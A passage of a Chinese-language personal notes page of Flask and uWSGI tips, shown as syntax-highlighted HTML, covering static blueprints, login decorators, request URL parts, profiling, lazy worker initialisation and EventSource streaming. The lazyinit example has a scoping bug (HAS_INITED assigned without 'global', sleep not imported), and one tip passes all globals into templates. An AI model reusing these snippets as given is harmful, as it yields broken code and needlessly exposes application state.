class=\"nc\">int</span>\n\n<span class=\"nv\">@app</span><span class=\"p\">.</span><span class=\"n\">route</span><span class=\"p\">(</span><span class=\"ss\">&quot;/&quot;</span><span class=\"p\">)</span>\n<span class=\"n\">def</span><span class=\"w\"> </span><span class=\"k\">index</span><span class=\"p\">()</span><span class=\"err\">:</span>\n<span class=\"w\">    </span><span class=\"err\">#</span><span class=\"w\"> </span><span class=\"p\">...</span><span class=\"w\"> </span><span class=\"ow\">some</span><span class=\"w\"> </span><span class=\"n\">logic</span><span class=\"w\"> </span><span class=\"n\">code</span>\n<span class=\"w\">    </span><span class=\"n\">targs</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">globals</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"n\">targs</span><span class=\"p\">.</span><span class=\"k\">update</span><span class=\"p\">(</span><span class=\"n\">locals</span><span class=\"p\">())</span>\n<span class=\"w\">    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">render_template</span><span class=\"p\">(</span><span class=\"ss\">&quot;template.html&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"o\">**</span><span class=\"n\">targs</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<h2 id=\"_1\">添加多个静态目录<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">from</span> <span class=\"nn\">flask</span> <span class=\"kn\">import</span> <span class=\"n\">Flask</span><span class=\"p\">,</span> <span class=\"n\">render_template</span><span class=\"p\">,</span> <span class=\"n\">Blueprint</span><span class=\"p\">,</span> <span class=\"n\">request</span><span class=\"p\">,</span> <span class=\"n\">redirect</span>\n<span class=\"n\">app</span> <span class=\"o\">=</span> <span class=\"n\">Flask</span><span class=\"p\">(</span><span class=\"vm\">__name__</span><span class=\"p\">)</span>\n\n<span class=\"k\">for</span> <span class=\"n\">path</span> <span class=\"ow\">in</span> <span class=\"p\">[</span><span class=\"s1\">&#39;images&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;pic&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;css&#39;</span><span class=\"p\">]:</span>\n    <span class=\"n\">blueprint</span> <span class=\"o\">=</span> <span class=\"n\">Blueprint</span><span class=\"p\">(</span><span class=\"n\">path</span><span class=\"p\">,</span> <span class=\"vm\">__name__</span><span class=\"p\">,</span> <span class=\"n\">static_url_path</span><span class=\"o\">=</span><span class=\"s1\">&#39;/&#39;</span><span class=\"o\">+</span><span class=\"n\">path</span><span class=\"p\">,</span> <span class=\"n\">static_folder</span><span class=\"o\">=</span><span class=\"n\">path</span><span class=\"p\">)</span>\n    <span class=\"n\">app</span><span class=\"o\">.</span><span class=\"n\">register_blueprint</span><span class=\"p\">(</span><span class=\"n\">blueprint</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<h2 id=\"gisphone\">判断是否手机访问 g.isphone<a class=\"headerlink\" href=\"#gisphone\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">@app</span><span class=\"p\">.</span><span class=\"n\">before_request</span>\n<span class=\"n\">def</span><span class=\"w\"> </span><span class=\"n\">before_request</span><span class=\"p\">()</span><span class=\"err\">:</span>\n<span class=\"w\">    </span><span class=\"n\">ua</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">request</span><span class=\"p\">.</span><span class=\"n\">user_agent</span><span class=\"p\">.</span><span class=\"n\">string</span><span class=\"p\">.</span><span class=\"nf\">lower</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"n\">mobileua</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"ss\">&quot;android|fennec|iemobile|iphone|opera mini|opera mobi|mobile&quot;</span><span class=\"p\">.</span><span class=\"n\">split</span><span class=\"p\">(</span><span class=\"ss\">&quot;|&quot;</span><span class=\"p\">)</span><span class=\"err\">:</span>\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"n\">mobileua</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"nl\">ua</span><span class=\"p\">:</span>\n<span class=\"w\">            </span><span class=\"n\">g</span><span class=\"p\">.</span><span class=\"n\">isphone</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">True</span>\n<span class=\"w\">            </span><span class=\"k\">break</span>\n<span class=\"w\">    </span><span class=\"k\">else</span><span class=\"err\">:</span>\n<span class=\"w\">        </span><span class=\"n\">g</span><span class=\"p\">.</span><span class=\"n\">isphone</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">False</span>\n</code></pre></div>\n\n<h2 id=\"get\">限制特定get整数参数的取值<a class=\"headerlink\" href=\"#get\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">def</span><span class=\"w\"> </span><span class=\"nv\">limit_param</span><span class=\"ss\">(</span><span class=\"nv\">param_name</span>,<span class=\"w\"> </span><span class=\"nv\">default_value</span>,<span class=\"w\"> </span><span class=\"nv\">minvalue</span>,<span class=\"w\"> </span><span class=\"nv\">maxvalue</span><span class=\"ss\">)</span>:\n<span class=\"w\">    </span><span class=\"s2\">&quot;&quot;</span><span class=\"err\">&quot;</span>\n<span class=\"w\">    </span><span class=\"nv\">example</span>:<span class=\"w\"> </span><span class=\"nv\">p</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">limit_param</span><span class=\"ss\">(</span><span class=\"s2\">&quot;p&quot;</span>,<span class=\"w\"> </span><span class=\"mi\">1</span>,<span class=\"w\"> </span><span class=\"mi\">1</span>,<span class=\"w\"> </span><span class=\"mi\">5</span><span class=\"ss\">)</span>\n<span class=\"w\">    </span><span class=\"s2\">&quot;&quot;</span><span class=\"err\">&quot;</span>\n<span class=\"err\">    if maxvalue&lt;minvalue:</span>\n<span class=\"err\">        maxvalue = minvalue</span>\n<span class=\"err\">    try:</span>\n<span class=\"err\">        data = int(request.args.get(param_name, default_value))</span>\n<span class=\"err\">    except:</span>\n<span class=\"err\">        data = default_value</span>\n<span class=\"err\">    if data&lt;minvalue:</span>\n<span class=\"err\">        data = minvalue</span>\n<span class=\"err\">    elif data &gt; maxvalue:</span>\n<span class=\"err\">        data = maxvalue</span>\n<span class=\"err\">    return data</span>\n</code></pre></div>\n\n<h2 id=\"decorator\">要求登录的decorator<a class=\"headerlink\" href=\"#decorator\" title=\"Permanent link\">&para;</a></h2>\n<p>用法: <code>@require_login()</code> 注意使用时添加到<code>@app.route</code>行的后面</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">functools</span>\n<span class=\"kn\">from</span> <span class=\"nn\">flask</span> <span class=\"kn\">import</span> <span class=\"n\">session</span><span class=\"p\">,</span> <span class=\"n\">abort</span><span class=\"p\">,</span> <span class=\"n\">redirect</span>\n<span class=\"k\">def</span> <span class=\"nf\">require_login</span><span class=\"p\">(</span><span class=\"n\">code</span><span class=\"o\">=</span><span class=\"mi\">200</span><span class=\"p\">,</span> <span class=\"n\">text</span><span class=\"o\">=</span><span class=\"s2\">&quot;login first&quot;</span><span class=\"p\">,</span> <span class=\"n\">jumptologin</span><span class=\"o\">=</span><span class=\"kc\">False</span><span class=\"p\">):</span>\n    <span class=\"k\">def</span> <span class=\"nf\">real_decorator</span><span class=\"p\">(</span><span class=\"n\">func</span><span class=\"p\">):</span>\n        <span class=\"nd\">@functools</span><span class=\"o\">.</span><span class=\"n\">wraps</span><span class=\"p\">(</span><span class=\"n\">func</span><span class=\"p\">)</span>\n        <span class=\"k\">def</span> <span class=\"nf\">wrapper</span><span class=\"p\">(</span><span class=\"o\">*</span><span class=\"n\">args</span><span class=\"p\">,</span><span class=\"o\">**</span><span class=\"n\">kwargs</span><span class=\"p\">):</span>\n            <span class=\"k\">if</span> <span class=\"s2\">&quot;username&quot;</span> <span class=\"ow\">not</span> <span class=\"ow\">in</span> <span class=\"n\">session</span><span class=\"p\">:</span>\n                <span class=\"k\">if</span> <span class=\"n\">jumptologin</span><span class=\"p\">:</span>\n                    <span class=\"k\">return</span> <span class=\"n\">redirect</span><span class=\"p\">(</span><span class=\"s2\">&quot;/signin?error=needlogin&amp;next=&quot;</span><span class=\"o\">+</span><span class=\"n\">signit</span><span class=\"p\">(</span><span class=\"n\">request</span><span class=\"o\">.</span><span class=\"n\">path</span><span class=\"p\">))</span>\n                <span class=\"k\">elif</span> <span class=\"n\">code</span><span class=\"o\">==</span><span class=\"mi\">200</span><span class=\"p\">:</span>\n                    <span class=\"k\">return</span> <span class=\"n\">text</span>\n                <span class=\"k\">else</span><span class=\"p\">:</span>\n                    <span class=\"n\">abort</span><span class=\"p\">(</span><span class=\"n\">code</span><span class=\"p\">)</span>\n            <span class=\"k\">else</span><span class=\"p\">:</span>\n                <span class=\"k\">return</span> <span class=\"n\">func</span><span class=\"p\">(</span><span class=\"o\">*</span><span class=\"n\">args</span><span class=\"p\">,</span> <span class=\"o\">**</span><span class=\"n\">kwargs</span><span class=\"p\">)</span>\n        <span class=\"k\">return</span> <span class=\"n\">wrapper</span>\n    <span class=\"k\">return</span> <span class=\"n\">real_decorator</span>\n</code></pre></div>\n\n<h2 id=\"import\">import引入列表<a class=\"headerlink\" href=\"#import\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">from</span> <span class=\"nn\">flask</span> <span class=\"kn\">import</span> <span class=\"n\">Flask</span><span class=\"p\">,</span> <span class=\"n\">render_template</span><span class=\"p\">,</span> <span class=\"n\">Blueprint</span><span class=\"p\">,</span> <span class=\"n\">request</span><span class=\"p\">,</span> <span class=\"n\">redirect</span><span class=\"p\">,</span> <span class=\"n\">Markup</span><span class=\"p\">,</span> <span class=\"n\">g</span><span class=\"p\">,</span> <span class=\"n\">session</span><span class=\"p\">,</span> <span class=\"n\">abort</span><span class=\"p\">,</span> <span class=\"n\">Response</span><span class=\"p\">,</span> <span class=\"n\">make_response</span><span class=\"p\">,</span> <span class=\"n\">send_file</span><span class=\"p\">,</span> <span class=\"n\">jsonify</span>\n<span class=\"kn\">from</span> <span class=\"nn\">werkzeug.utils</span> <span class=\"kn\">import</span> <span class=\"n\">secure_filename</span>\n<span class=\"kn\">import</span> <span class=\"nn\">time</span>\n<span class=\"kn\">import</span> <span class=\"nn\">datetime</span>\n<span class=\"kn\">import</span> <span class=\"nn\">random</span>\n<span class=\"kn\">import</span> <span class=\"nn\">pickle</span>\n<span class=\"kn\">import</span> <span class=\"nn\">requests</span>\n<span class=\"kn\">import</span> <span class=\"nn\">os</span>\n<span class=\"kn\">import</span> <span class=\"nn\">sys</span>\n<span class=\"kn\">import</span> <span class=\"nn\">traceback</span>\n<span class=\"kn\">import</span> <span class=\"nn\">mimetypes</span>\n<span class=\"kn\">import</span> <span class=\"nn\">string</span>\n<span class=\"kn\">import</span> <span class=\"nn\">re</span>\n<span class=\"kn\">import</span> <span class=\"nn\">hashlib</span>\n<span class=\"kn\">import</span> <span class=\"nn\">json</span>\n</code></pre></div>\n\n<h2 id=\"requesturl\">request怎么拿到url的各个部分<a class=\"headerlink\" href=\"#requesturl\" title=\"Permanent link\">&para;</a></h2>\n<p>来自https://stackoverflow.com/questions/15974730/how-do-i-get-the-different-parts-of-a-flask-requests-url</p>\n<p>request:</p>\n<p><code>curl -XGET http://127.0.0.1:5000/alert/dingding/test?x=y</code></p>\n<p>then:</p>\n<div class=\"codehilite\"><pre><span></span><code>request.method:              GET\nrequest.url:                 http://127.0.0.1:5000/alert/dingding/test?x=y\nrequest.base_url:            http://127.0.0.1:5000/alert/dingding/test\nrequest.url_charset:         utf-8\nrequest.url_root:            http://127.0.0.1:5000/\nstr(request.url_rule):       /alert/dingding/test\nrequest.host_url:            http://127.0.0.1:5000/\nrequest.host:                127.0.0.1:5000\nrequest.script_root:\nrequest.path:                /alert/dingding/test\nrequest.full_path:           /alert/dingding/test?x=y\n\nrequest.args:                ImmutableMultiDict([(&#39;x&#39;, &#39;y&#39;)])\nrequest.args.get(&#39;x&#39;):       y\n</code></pre></div>\n\n<h2 id=\"request\">request其他的部分<a class=\"headerlink\" href=\"#request\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>request.get_data()    POST内容 bytes类型\nrequest.endpoint      处理这个请求的函数名称\n</code></pre></div>\n\n<hr />\n<h2 id=\"profiling\">遇到性能瓶颈做profiling看函数耗时<a class=\"headerlink\" href=\"#profiling\" title=\"Permanent link\">&para;</a></h2>\n<p>找到对uwsgi应用做profiling的<a href=\"https://mg.pov.lt/blog/profiling-with-dozer.html\">dozer</a>库</p>\n<p>使用方法：</p>\n<ol>\n<li>先安装python3对应的uwsgi：<code>apt install uwsgi-plugin-python3</code></li>\n<li>写一个python脚本包装app，如<code>profiler_app.py</code>：</li>\n</ol>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"ch\">#!/usr/bin/python3</span>\n<span class=\"kn\">from</span> <span class=\"nn\">app</span> <span class=\"kn\">import</span> <span class=\"n\">app</span>\n<span class=\"kn\">from</span> <span class=\"nn\">dozer</span> <span class=\"kn\">import</span> <span class=\"n\">Profiler</span>\n<span class=\"n\">appx</span> <span class=\"o\">=</span> <span class=\"n\">Profiler</span><span class=\"p\">(</span><span class=\"n\">app</span><span class=\"p\">,</span> <span class=\"n\">profile_path</span><span class=\"o\">=</span><span class=\"s2\">&quot;/tmp/profiles&quot;</span><span class=\"p\">)</span>\n\n<span class=\"k\">if</span> <span class=\"vm\">__name__</span> <span class=\"o\">==</span> <span class=\"s2\">&quot;__main__&quot;</span><span class=\"p\">:</span>\n    <span class=\"kn\">import</span> <span class=\"nn\">os</span>\n    <span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">system</span><span class=\"p\">(</span><span class=\"s2\">&quot;uwsgi -w profiler_app:appx --http :80&quot;</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<ol start=\"3\">\n<li>别忘记<code>mkdir /tmp/profiles</code> 然后就可以启动了<code>python3 profiler_app.py</code></li>\n<li>使用http://127.0.0.1/_profiler/ 查看结果，可以点开每个请求看各个函数耗时详情</li>\n</ol>\n<hr />\n<h2 id=\"lazyload\">lazyload 延迟加载耗时的初始化操作<a class=\"headerlink\" href=\"#lazyload\" title=\"Permanent link\">&para;</a></h2>\n<p>需求：特定页面需要加载一些耗时的资源，如果在应用启动的时候做加载，此时新来的请求就必须等待这个加载才能完成；而实际上这个init并非所有请求都必须的，想做一个lazyinit: 在不影响正常请求的前提下尽快完成init函数</p>\n<p>我的做法：设计一个<code>/lazyinit</code>路由函数做初始化工作，在重新部署/重启flask服务的时候同时启动一个简单的python脚本反复请求这个url直到所有的进程都已经触发</p>\n<p>这样利用uwsgi自身就有的多进程负载均衡，每次最多只会有一个进程做初始化工作，其他进程可以正常处理请求；坏处就是在日志里面产生一些垃圾吧，影响不大</p>\n<p>问题来了 uwsgi怎么知道当前是哪个进程呢 我发现threading提供的进程名称是字符串<code>b'uWSGIWorker2Core2'</code>，其中<code>Worker</code>后面的数字就是进程ID 不同进程ID的全局变量是不同的</p>\n<p>代码：</p>\n<p>flask中的<code>/lazyinit</code>实现，返回处理当前请求的worker id：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">threading</span>\n<span class=\"k\">def</span> <span class=\"nf\">get_workerid</span><span class=\"p\">():</span>\n    <span class=\"c1\"># return uwsgi worker id: int</span>\n    <span class=\"n\">threadname</span> <span class=\"o\">=</span> <span class=\"n\">threading</span><span class=\"o\">.</span><span class=\"n\">current_thread</span><span class=\"p\">()</span><span class=\"o\">.</span><span class=\"n\">name</span>\n    <span class=\"n\">id_str</span> <span class=\"o\">=</span> <span class=\"n\">threadname</span><span class=\"o\">.</span><span class=\"n\">lower</span><span class=\"p\">()</span><span class=\"o\">.</span><span class=\"n\">split</span><span class=\"p\">(</span><span class=\"s2\">&quot;worker&quot;</span><span class=\"p\">)[</span><span class=\"mi\">1</span><span class=\"p\">]</span><span class=\"o\">.</span><span class=\"n\">split</span><span class=\"p\">(</span><span class=\"s2\">&quot;core&quot;</span><span class=\"p\">)[</span><span class=\"mi\">0</span><span class=\"p\">]</span>\n    <span class=\"k\">return</span> <span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">id_str</span><span class=\"p\">)</span>\n\n<span class=\"n\">HAS_INITED</span> <span class=\"o\">=</span> <span class=\"kc\">False</span>\n\n<span class=\"nd\">@app</span><span class=\"o\">.</span><span class=\"n\">route</span><span class=\"p\">(</span><span class=\"s2\">&quot;/lazyinit&quot;</span><span class=\"p\">)</span>\n<span class=\"k\">def</span> <span class=\"nf\">lazyinit</span><span class=\"p\">():</span>\n    <span class=\"n\">workerid</span> <span class=\"o\">=</span> <span class=\"n\">get_workerid</span><span class=\"p\">()</span>\n\n    <span class=\"k\">if</span> <span class=\"ow\">not</span> <span class=\"n\">HAS_INITED</span><span class=\"p\">:</span> <span class=\"c1\"># skip init if has already initialized</span>\n        <span class=\"n\">sleep</span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"p\">)</span> <span class=\"c1\"># do real init code...</span>\n        <span class=\"n\">HAS_INITED</span> <span class=\"o\">=</span> <span class=\"kc\">True</span>\n\n    <span class=\"k\">return</span> <span class=\"nb\">str</span><span class=\"p\">(</span><span class=\"n\">workerid</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>这是反复请求的代码，重复请求最多100次，直到所有4个进程都已经触发，其中uwsgi的workerid是从1开始计数的</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">MAX_TRIES</span> <span class=\"o\">=</span> <span class=\"mi\">100</span>\n<span class=\"n\">PROCESS_COUNT</span> <span class=\"o\">=</span> <span class=\"mi\">4</span>\n\n<span class=\"kn\">import</span> <span class=\"nn\">requests</span>\n<span class=\"n\">i</span> <span class=\"o\">=</span> <span class=\"mi\">0</span>\n<span class=\"n\">status</span> <span class=\"o\">=</span> <span class=\"p\">[</span><span class=\"kc\">False</span><span class=\"p\">]</span><span class=\"o\">*</span><span class=\"n\">PROCESS_COUNT</span>\n<span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"nb\">range</span><span class=\"p\">(</span><span class=\"n\">MAX_TRIES</span><span class=\"p\">):</span>\n    <span class=\"nb\">id</span> <span class=\"o\">=</span> <span class=\"n\">requests</span><span class=\"o\">.</span><span class=\"n\">get</span><span class=\"p\">(</span><span class=\"s2\">&quot;http://127.0.0.1/lazyinit?id=&quot;</span><span class=\"o\">+</span><span class=\"nb\">str</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">))</span><span class=\"o\">.</span><span class=\"n\">text</span>\n    <span class=\"nb\">id</span> <span class=\"o\">=</span> <span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"nb\">id</span><span class=\"p\">)</span> <span class=\"o\">-</span> <span class=\"mi\">1</span>\n    <span class=\"n\">status</span><span class=\"p\">[</span><span class=\"nb\">id</span><span class=\"p\">]</span> <span class=\"o\">=</span> <span class=\"kc\">True</span>\n    <span class=\"k\">if</span> <span class=\"nb\">all</span><span class=\"p\">(</span><span class=\"n\">status</span><span class=\"p\">):</span>\n        <span class=\"k\">break</span>\n</code></pre></div>\n\n<h2 id=\"apprunhttp11\">让app.run启动的服务器使用HTTP/1.1<a class=\"headerlink\" href=\"#apprunhttp11\" title=\"Permanent link\">&para;</a></h2>\n<p>就是这个问题： https://www.reddit.com/r/flask/comments/634i5u/make_flask_return_header_response_with_http11/</p>\n<p>人家认为Flask不支持，其实flask使用的是<code>werkzeug.serving</code>，最底层还是BaseHTTPRequestHandler，而这个是支持HTTP/1.1的，只是默认HTTP/1.0而已</p>\n<p>实际发送请求<code>HTTP/1.1 200 OK</code>是这个类的<code>send_response</code>函数，用到<code>protocol_version</code>这个属性，而这个属性是类的属性（不是在<code>__init__</code>函数赋值的），所以我们可以直接修改 之后创建的对象就会自动拥有新的值</p>\n<p>在调用之前添加以下几行即可</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">try</span><span class=\"p\">:</span>\n    <span class=\"kn\">from</span> <span class=\"nn\">http.server</span> <span class=\"kn\">import</span> <span class=\"n\">BaseHTTPRequestHandler</span>\n<span class=\"k\">except</span><span class=\"p\">:</span> <span class=\"c1\">#PY2</span>\n    <span class=\"kn\">from</span> <span class=\"nn\">BaseHTTPServer</span> <span class=\"kn\">import</span> <span class=\"n\">BaseHTTPRequestHandler</span>\n<span class=\"n\">BaseHTTPRequestHandler</span><span class=\"o\">.</span><span class=\"n\">protocol_version</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;HTTP/1.1&quot;</span>\n</code></pre></div>\n\n<h2 id=\"render_template_1\">让render_template直接能使用当前所有变量<a class=\"headerlink\" href=\"#render_template_1\" title=\"Permanent link\">&para;</a></h2>\n<p>一种直接的做法：注意顺序 局部变量优先于全局变量</p>\n<div class=\"codehilite\"><pre><span></span><code>targs = globals()\ntargs.update(locals())\nrender_template(&quot;x.html&quot;, **targs)\n</code></pre></div>\n\n<p>然而这样需要每个视图函数都写这三行，不够优雅</p>\n<p>不如试试：获取调用者的局部变量 https://stackoverflow.com/questions/6618795/get-locals-from-calling-namespace-in-python</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">inspect</span>\n<span class=\"k\">def</span> <span class=\"nf\">myrender_template</span><span class=\"p\">(</span><span class=\"n\">filename</span><span class=\"p\">):</span>\n    <span class=\"n\">backframe</span> <span class=\"o\">=</span> <span class=\"n\">inspect</span><span class=\"o\">.</span><span class=\"n\">currentframe</span><span class=\"p\">()</span><span class=\"o\">.</span><span class=\"n\">f_back</span>\n    <span class=\"n\">targs</span> <span class=\"o\">=</span> <span class=\"p\">{}</span>\n    <span class=\"n\">targs</span><span class=\"o\">.</span><span class=\"n\">update</span><span class=\"p\">(</span><span class=\"n\">backframe</span><span class=\"o\">.</span><span class=\"n\">f_globals</span><span class=\"p\">)</span>\n    <span class=\"n\">targs</span><span class=\"o\">.</span><span class=\"n\">update</span><span class=\"p\">(</span><span class=\"n\">backframe</span><span class=\"o\">.</span><span class=\"n\">f_locals</span><span class=\"p\">)</span>\n    <span class=\"k\">return</span> <span class=\"n\">render_template</span><span class=\"p\">(</span><span class=\"n\">filename</span><span class=\"p\">,</span> <span class=\"o\">**</span><span class=\"n\">targs</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"flaskeventsource\">在Flask中正确地产生流式响应EventSource<a class=\"headerlink\" href=\"#flaskeventsource\" title=\"Permanent link\">&para;</a></h2>\n<p>考虑我们需要向前端提供消息队列的消费者，比如收到广播后发给浏览器通知用户。当然我们可以用websocket，但这种场景（只有服务器给浏览器发）下只需要长连接的EventSource就行了。</p>\n<p>基础篇： https://stackoverflow.com/questions/12232304/how-to-implement-server-push-in-flask-framework</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">def</span><span class=\"w\"> </span><span class=\"n\">queue_consumer</span><span class=\"p\">()</span><span class=\"err\">:</span>\n<span class=\"w\">    </span><span class=\"n\">conn</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">创建连接</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"n\">#连接到消息队列</span><span class=\"err\">，</span><span class=\"n\">创建</span><span class=\"w\"> </span><span class=\"n\">channel</span>\n<span class=\"w\">    </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"k\">data</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"n\">conn</span><span class=\"p\">.</span><span class=\"n\">读取数据</span><span class=\"p\">()</span><span class=\"err\">:</span>\n<span class=\"w\">        </span><span class=\"n\">yield</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"ss\">&quot;data: &quot;</span><span class=\"o\">+</span><span class=\"k\">data</span><span class=\"o\">+</span><span class=\"n\">b</span><span class=\"ss\">&quot;\\n\\n&quot;</span>\n<span class=\"w\">    </span><span class=\"n\">关闭连接</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"err\">#</span><span class=\"w\"> </span><span class=\"n\">怎么执行到</span><span class=\"err\">？</span>\n\n<span class=\"nv\">@app</span><span class=\"p\">.</span><span class=\"n\">route</span><span class=\"p\">(</span><span class=\"ss\">&quot;/stream&quot;</span><span class=\"p\">)</span>\n<span class=\"n\">def</span><span class=\"w\"> </span><span class=\"n\">stream</span><span class=\"p\">()</span><span class=\"err\">:</span>\n<span class=\"w\">    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">Response</span><span class=\"p\">(</span><span class=\"n\">queue_consumer</span><span class=\"p\">(),</span><span class=\"w\"> </span><span class=\"n\">mimetype</span><span class=\"o\">=</span><span class=\"ss\">&quot;text/event-stream&quot;</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>这个的问题在于关闭连接不会执行到，在消息队列服务器上观察到channel一直没有释放，这肯定不行，我们需要在浏览器断开连接的时候自动释放conn等资源。</p>\n<p>读了 werkzeug 的源代码发现 Response 有 call_on_close 函数，在连接关闭的时候我们把生成器close即可触发yield的异常：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">def</span><span class=\"w\"> </span><span class=\"n\">queue_consumer</span><span class=\"p\">()</span><span class=\"err\">:</span>\n<span class=\"w\">    </span><span class=\"n\">conn</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">创建连接</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"n\">#连接到消息队列</span><span class=\"err\">，</span><span class=\"n\">创建</span><span class=\"w\"> </span><span class=\"n\">channel</span>\n<span class=\"w\">    </span><span class=\"k\">try</span><span class=\"err\">:</span>\n<span class=\"w\">        </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"k\">data</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"n\">conn</span><span class=\"p\">.</span><span class=\"n\">读取数据</span><span class=\"p\">()</span><span class=\"err\">:</span>\n<span class=\"w\">            </span><span class=\"n\">yield</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"ss\">&quot;data: &quot;</span><span class=\"o\">+</span><span class=\"k\">data</span><span class=\"o\">+</span><span class=\"n\">b</span><span class=\"ss\">&quot;\\n\\n&quot;</span><span class=\"w\"> </span><span class=\"n\">#结束的时候会触发GeneratorExit异常</span>\n<span class=\"w\">    </span><span class=\"ow\">except</span><span class=\"err\">:</span>\n<span class=\"w\">        </span><span class=\"n\">pass</span>\n<span class=\"w\">    </span><span class=\"n\">关闭连接</span><span class=\"p\">()</span>\n\n<span class=\"nv\">@app</span><span class=\"p\">.</span><span class=\"n\">route</span><span class=\"p\">(</span><span class=\"ss\">&quot;/stream&quot;</span><span class=\"p\">)</span>\n<span class=\"n\">def</span><span class=\"w\"> </span><span class=\"n\">stream</span><span class=\"p\">()</span><span class=\"err\">:</span>\n<span class=\"w\">    </span><span class=\"n\">consumer</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">queue_consumer</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"n\">res</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Response</span><span class=\"p\">(</span><span class=\"n\">consumer</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">mimetype</span><span class=\"o\">=</span><span class=\"ss\">&quot;text/event-stream&quot;</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"n\">def</span><span class=\"w\"> </span><span class=\"n\">onclose</span><span class=\"p\">()</span><span class=\"err\">:</span>\n<span class=\"w\">        </span><span class=\"n\">consumer</span><span class=\"p\">.</span><span class=\"k\">close</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"n\">res</span><span class=\"p\">.</span><span class=\"n\">call_on_close</span><span class=\"p\">(</span><span class=\"n\">onclose</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">res</span>\n</code></pre></div>\n\n<p>这样还不够，发现无法使用g，以及Nginx默认缓存响应导致延迟，需要继续配置：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">def</span><span class=\"w\"> </span><span class=\"n\">queue_consumer</span><span class=\"p\">()</span><span class=\"err\">:</span>\n<span class=\"w\">    </span><span class=\"n\">conn</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">创建连接</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"n\">#连接到消息队列</span><span class=\"err\">，</span><span class=\"n\">创建</span><span class=\"w\"> </span><span class=\"n\">channel</span>\n<span class=\"w\">    </span><span class=\"k\">try</span><span class=\"err\">:</span>\n<span class=\"w\">        </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"k\">data</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"n\">conn</span><span class=\"p\">.</span><span class=\"n\">读取数据</span><span class=\"p\">()</span><span class=\"err\">:</span>\n<span class=\"w\">            </span><span class=\"n\">yield</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"ss\">&quot;data: &quot;</span><span class=\"o\">+</span><span class=\"k\">data</span><span class=\"o\">+</span><span class=\"n\">b</span><span class=\"ss\">&quot;\\n\\n&quot;</span><span 